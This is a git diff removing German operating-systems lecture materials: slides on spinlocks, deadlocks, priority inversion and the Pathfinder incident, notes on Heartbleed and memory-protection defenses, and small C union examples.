\file{arch/x86/include/asm/spinlock.h}, ab Zeile 65: - - \medskip - - \begin{lstlisting} - static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock) - { - arch_spinlock_t old, new; - - old.tickets = ACCESS_ONCE (lock->tickets); - if (old.tickets.head != old.tickets.tail) - return 0; - - new.head_tail = old.head_tail + (1 << TICKET_SHIFT); - - /* cmpxchg is a full barrier, so nothing can move before it */ - return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,0.3){\line(0,1){0.4}} - \put(9.0,0.3){\line(-1,0){6.8}} - \put(9.0,0.3){\line(0,-1){1.45}} - \put(9.0,-1.15){\vector(-1,0){3.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147: - - \medskip - - \begin{lstlisting} - #define cmpxchg(ptr, old, new) \ - __cmpxchg (ptr, old, new, sizeof (*(ptr))) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.0,0.5){\line(-1,0){1.8}} - \put(9.0,0.5){\line(0,-1){1.65}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131: - - \medskip - - \begin{lstlisting} - #define __cmpxchg(ptr, old, new, size) \ - __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,-0.1){\line(0,1){0.3}} - \put(9.0,-0.1){\line(-1,0){6.8}} - \put(9.0,-0.1){\line(0,-1){1.05}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110: - - \medskip - - \begin{lstlisting} - asm volatile (lock "cmpxchgl %2,%1" \ - : "=a" (__ret), "+m" (*__ptr) \ - : "r" (__new), "0" (__old) \ - : "memory"); - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.8,1.8){\vector(-1,0){0.6}} - \put(9.8,1.2){\line(0,1){0.6}} - \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{\normalpdfpageheight} - -%\sectionnonumber{Literaturempfehlung} -%\subsectionnonumber{Automotive Embedded Systeme} -% -%\begin{frame}[c] -% -% \showsectionnonumber -% -% Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\ -% Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern: -% -% \medskip -% -% \showsubsectionnonumber -% -% \vspace{-\medskipamount} -% -% Springer-Verlag, Berlin, Heidelberg 2005 -% -% \bigskip -% -% Lizenz: proprietär -% -% \medskip -% -% (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10}) -% -%\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \begin{picture}(0,0) - \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}} - \end{picture}% - \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen - \begin{itemize} - \item - \newterm{Deadlock\/}: Prozeß wartet - \item - \newterm{Livelock\/}: Prozeß macht andere Dinge\\ - (z.\,B.\ \emph{busy waiting\/}) - \end{itemize} - - \pause - \bigskip - - Beispiel: Philosophenproblem - - \only<2-3>{% - \begin{itemize} - \item - 5 Philosophen, 5 Gabeln - \item - 2 Gabeln zum Essen notwendig - \item - Wer essen will, nimmt eine Gabel\\ - und wartet notfalls auf die zweite. - \item - Keiner legt eine einzelne Gabel\\ - wieder zurück. - \end{itemize} - Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount] - \pause - \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\ - \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm] - } - \only<4->{% - \bigskip - - Bedingungen für Verklemmungen: - - \begin{minipage}[t]{4.5cm} - \begin{itemize} - \item - Exklusivität - \item - \newterm{hold and wait} - \item - Entzug nicht möglich - \item - zirkuläre Blockade - \end{itemize} - \end{minipage}\pause[5] - \begin{minipage}[t]{7.5cm} - \begin{itemize} - \arrowitem - Spooling - \arrowitem - simultane Zuteilung - \arrowitem - Prozesse suspendieren, beenden, \newterm{Rollback} - \arrowitem - Reihenfolge abhängig von Ressourcen - \end{itemize} - \end{minipage} - } - -\end{frame} - -\subsection{Prioritäten} - -\begin{frame} - - \showsection - \showsubsection - - Linux 0.01 - \begin{itemize} - \item - Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\ - Prozeß mit höchstem Zähler bekommt Rechenzeit. - \item - Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\ - bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen. - \item - \emph{keine\/} harte Echtzeit - \arrowitem - \newterm{dynamische Prioritätenvergabe\/}:\\ - Rechenzeit hängt vom Verhalten des Prozesses ab - \end{itemize} - - \medskip - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \arrowitem - \newterm{statische Prioritätenvergabe} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \end{itemize} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}} - \alt<1>{% - \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - }{% - \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}} - } - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - - \pause - - \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} - \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - - \end{picture} - \end{center} - -\end{frame} - -\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - \only<4->{% - Der höher priorisierte Prozeß bewirkt selbst,\\ - daß er eine Ressource verspätet bekommt. - - \medskip - - \textarrow\ \newterm{begrenzte Prioritätsinversion} - - \medskip - - maximale Verzögerung: Länge des kritischen Bereichs - } - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}} - \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}} - \only<3-4>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - } - \only<5->{% - \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \only<1-2>{% - \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \only<2->{% - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - \only<2-4>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<5->{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}} - \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}} - } - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \visible<4->{% - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ }\newterm{unbegrenzte Prioritätsinversion} - - \pause - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \only<2>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - } - \put(0,3){\line(1,0){10}} - - \only<2->{% - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - \alt<1-4>{% - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - }{% - \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} - } - \only<2>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<3-4>{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} -% \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<2>{% - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \put(0,1){\line(1,0){10}} - } - - \only<5->{% - \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} - \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \medskip - - Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 - - \only<1>{% - \begin{center} - \includegraphics[width=8.5cm]{pathfinder.jpg} - \vspace*{-1.5cm} - \end{center} - } - - \bigskip - - \only<2>{% - Gegenmaßnahmen - \begin{itemize} - \item - \newterm{Priority Inheritance -- Prioritätsvererbung}\\ - Der Besitzer des Mutex erbt die Priorität\\ - des Prozesses, der auf den Mutex wartet. - \end{itemize} - - \bigskip - - \begin{minipage}{7.0cm} - \begin{flushright} - \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/} - \end{flushright} - \end{minipage} - - \vspace{-0.2cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.7cm]{pathfinder.jpg}}\vspace*{-1cm} - } - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \bigskip - - Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - - \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} - \only<1-2>{% - \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} - } - \put(0,2){\line(1,0){10}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \only<2>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - } - - \only<3->{% - \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}} - \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} - \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \bigskip - - Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} -% \only<1>{% -% \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} -% } - \put(0,1){\line(1,0){10}} - -% \only<1>{% -% \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} -% \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} -% } - \put(0,2){\line(1,0){10}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} -% \only<1>{% -% \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} -% } - \put(0,3){\line(1,0){10}} - -% \only<2>{% -% \only<2>{% - \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}} - \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} - \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} -% } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \medskip - - Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 - - \bigskip - - Gegenmaßnahmen - \begin{itemize} - \item - \newterm{Priority Inheritance -- Prioritätsvererbung}\\ - Der Besitzer des Mutex erbt die Priorität\\ - des Prozesses, der auf den Mutex wartet. - \smallskip - \item - \newterm{Priority Ceiling -- Prioritätsobergrenze}\\ - Der Besitzer des Mutex bekommt sofort\\ - die Priorität des höchstmöglichen Prozesses,\\ - der evtl.\ den Mutex benötigen könnte. - \pause - \begin{picture}(0,0) - \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$ - \begin{minipage}{4cm} - nur möglich, wenn\\ - Mutexe im Spiel sind - \end{minipage}}} - \end{picture} - \smallskip - \pause - \item - \newterm{Priority Aging}\\ - Die Priorität wächst mit der Wartezeit. - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\fi - -\end{document} diff --git a/20220530/bs-20220530.txt b/20220530/bs-20220530.txt deleted file mode 100644 index dcddaaeb641645b4d94488f62d06d1c7f337ec4b..0000000000000000000000000000000000000000 --- a/20220530/bs-20220530.txt +++ /dev/null @@ -1,44 +0,0 @@ -Die Heartbleed-Sicherheitslücke, 30.05.2022, 13:18:29 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Sicherheitslücke in OpenSSL - -Protokollschwäche: Im sog. Heartbeat ("Herzschlag") kommt es zu einer -Art Pufferüberlauf. - -Erklärung: https://xkcd.com/1354/ - -Der Kryptologe und Sicherheitsexperte Bruce Schneier beschreibt die Tragweite -des Heartbleed-Bug als: - - "Catastrophic is the right word. On the scale of 1 to 10, this is an 11." - - "Katastrophal ist das richtige Wort. Auf einer Skala von 1 bis 10 ist dies eine 11." - -Was hilft gegen derartige Sicherheitslücken? 30.05.2022, 13:28:10 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Keine Programmierfehler machen. - - * ordentlich programmieren - - ordentlich einrücken - - Compiler-Warnungen aktivieren und beachten - - * automatische Code-Analyse - - Compiler: gcc oder llvm mit Warnungen - - statisch: [sp]lint, sparse (cgcc) - automatische Suche nach typischen Fehlern - - dynamisch: valgrind - ausführbares Programm wird auf Speicherfehler analysiert - --> finden viele, aber nicht alle Fehler - - * Speicherschutzmechanismen des Compilers und des Betriebssystems - - Hardware-Unterstützung: Data Execution Prevention: Das Betriebssystem markiert - das Stack-Segment als "nicht ausführbar" (DEP/NX - siehe: Speicherverwaltung) - - Canary ("Kanarienvogel" - Begriff aus dem Bergbau: Bevor die Luft für Menschen - zu schlecht wird, bekommt ein Kanarienvogel Probleme.) - "Kanarienvogel" auf dem Stack: "Ungenutzte", initialisierte Variable. - Vor dem Rücksprung prüft das Programm, ob die "Kanarienvogel"-Variable - noch den richtigen Wert hat. - - Address Space Layout Randomization (ASLR): http://heise.de/-2718449 - Bei jedem Programmstart liegen das Programm und die genutzten Bibliotheken - an anderen Adressen. - - Austricksen: http://security.stackexchange.com/questions/20497 diff --git a/20220530/logo-hochschule-bochum-cvh-text.pdf b/20220530/logo-hochschule-bochum-cvh-text.pdf deleted file mode 120000 index a05946126bc0ce6a2818740da2893f59eb0c659c..0000000000000000000000000000000000000000 --- a/20220530/logo-hochschule-bochum-cvh-text.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text.pdf \ No newline at end of file diff --git a/20220530/logo-hochschule-bochum.pdf b/20220530/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20220530/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20220530/pgslides.sty b/20220530/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20220530/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20220530/rp6.jpg b/20220530/rp6.jpg deleted file mode 100644 index 1695afb690b4fb78878236a1efd0d5c6328370f4..0000000000000000000000000000000000000000 Binary files a/20220530/rp6.jpg and /dev/null differ diff --git a/20220530/unions-00.c b/20220530/unions-00.c deleted file mode 100644 index f68e43c81cbfd655002a3469b3237326f61695d5..0000000000000000000000000000000000000000 --- a/20220530/unions-00.c +++ /dev/null @@ -1,17 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -typedef struct -{ - uint8_t x; - int8_t y; -} data; - -int main (void) -{ - data d; - d.x = 7; - d.y = -1; - printf ("d.x = %d, d.y = %d\n", d.x, d.y); - return 0; -} diff --git a/20220530/unions-01.c b/20220530/unions-01.c deleted file mode 100644 index 11bec6672e9f18154d4389f08df6c033d374a500..0000000000000000000000000000000000000000 --- a/20220530/unions-01.c +++ /dev/null @@ -1,17 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -typedef union -{ - uint8_t x; - int8_t y; -} data; - -int main (void) -{ - data d; - d.x = 7; - d.y = -1; - printf ("d.x = %d, d.y = %d\n", d.x, d.y); - return 0; -} diff --git a/20220530/unions-02.c b/20220530/unions-02.c deleted file mode 100644 index 6164625d183863e6c26a3ce2a77546e04964b064..0000000000000000000000000000000000000000 --- a/20220530/unions-02.c +++ /dev/null @@ -1,17 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -typedef union -{ - uint8_t x; - int8_t y; -} data; - -int main (void) -{ - data d; - d.y = -1; - d.x = 7; - printf ("d.x = %d, d.y = %d\n", d.x, d.y); - return 0; -} diff --git a/20220613/Retribution_Engine_Screenshot_120807.jpg b/20220613/Retribution_Engine_Screenshot_120807.jpg deleted file mode 120000 index 19f4cb3e4aae1e24c3466a25b2c0e5ad90ee49e7..0000000000000000000000000000000000000000 --- a/20220613/Retribution_Engine_Screenshot_120807.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/Retribution_Engine_Screenshot_120807.jpg \ No newline at end of file diff --git a/20220613/Telefon_t-sinus-700.jpg b/20220613/Telefon_t-sinus-700.jpg deleted file mode 120000 index 27c322c50b0f05edc8b07cfb0cc99b1876eb506d..0000000000000000000000000000000000000000 --- a/20220613/Telefon_t-sinus-700.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/Telefon_t-sinus-700.jpg \ No newline at end of file diff --git a/20220613/a380.jpg b/20220613/a380.jpg deleted file mode 120000 index 33a5d1fd18843bf7385e5a6d90f69af9fd8720da..0000000000000000000000000000000000000000 --- a/20220613/a380.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/a380.jpg \ No newline at end of file diff --git a/20220613/bs-20220613-fig1.tex b/20220613/bs-20220613-fig1.tex deleted file mode 100644 index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000 --- a/20220613/bs-20220613-fig1.tex +++ /dev/null @@ -1,11 +0,0 @@ -\documentclass{article} -\input tmp.inputs -\pagestyle{empty} -\begin{document} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - -\end{document} diff --git a/20220613/bs-20220613-fig2.tex b/20220613/bs-20220613-fig2.tex deleted file mode 100644 index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000 --- a/20220613/bs-20220613-fig2.tex +++ /dev/null @@ -1,11 +0,0 @@ -\documentclass{article} -\input tmp.inputs -\pagestyle{empty} -\begin{document} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - -\end{document} diff --git a/20220613/bs-20220613-fig3.tex b/20220613/bs-20220613-fig3.tex deleted file mode 100644 index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000 --- a/20220613/bs-20220613-fig3.tex +++ /dev/null @@ -1,11 +0,0 @@ -\documentclass{article} -\input tmp.inputs -\pagestyle{empty} -\begin{document} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - -\end{document} diff --git a/20220613/bs-20220613-fig4.tex b/20220613/bs-20220613-fig4.tex deleted file mode 100644 index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000 --- a/20220613/bs-20220613-fig4.tex +++ /dev/null @@ -1,11 +0,0 @@ -\documentclass{article} -\input tmp.inputs -\pagestyle{empty} -\begin{document} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - -\end{document} diff --git a/20220613/bs-20220613.pdf b/20220613/bs-20220613.pdf deleted file mode 100644 index 9bb2d01cab317d4fd7b70a283fbf56e4efd76983..0000000000000000000000000000000000000000 Binary files a/20220613/bs-20220613.pdf and /dev/null differ diff --git a/20220613/bs-20220613.tex b/20220613/bs-20220613.tex deleted file mode 100644 index 3a6e00ad27e66211093dd6357df8f4d277727df7..0000000000000000000000000000000000000000 --- a/20220613/bs-20220613.tex +++ /dev/null @@ -1,1627 +0,0 @@ -% bs-20220613.pdf - Lecture Slides on Operating Systems -% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{rotating} -\usepackage{pdftricks} -\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx} -\usepackage{eurosym} 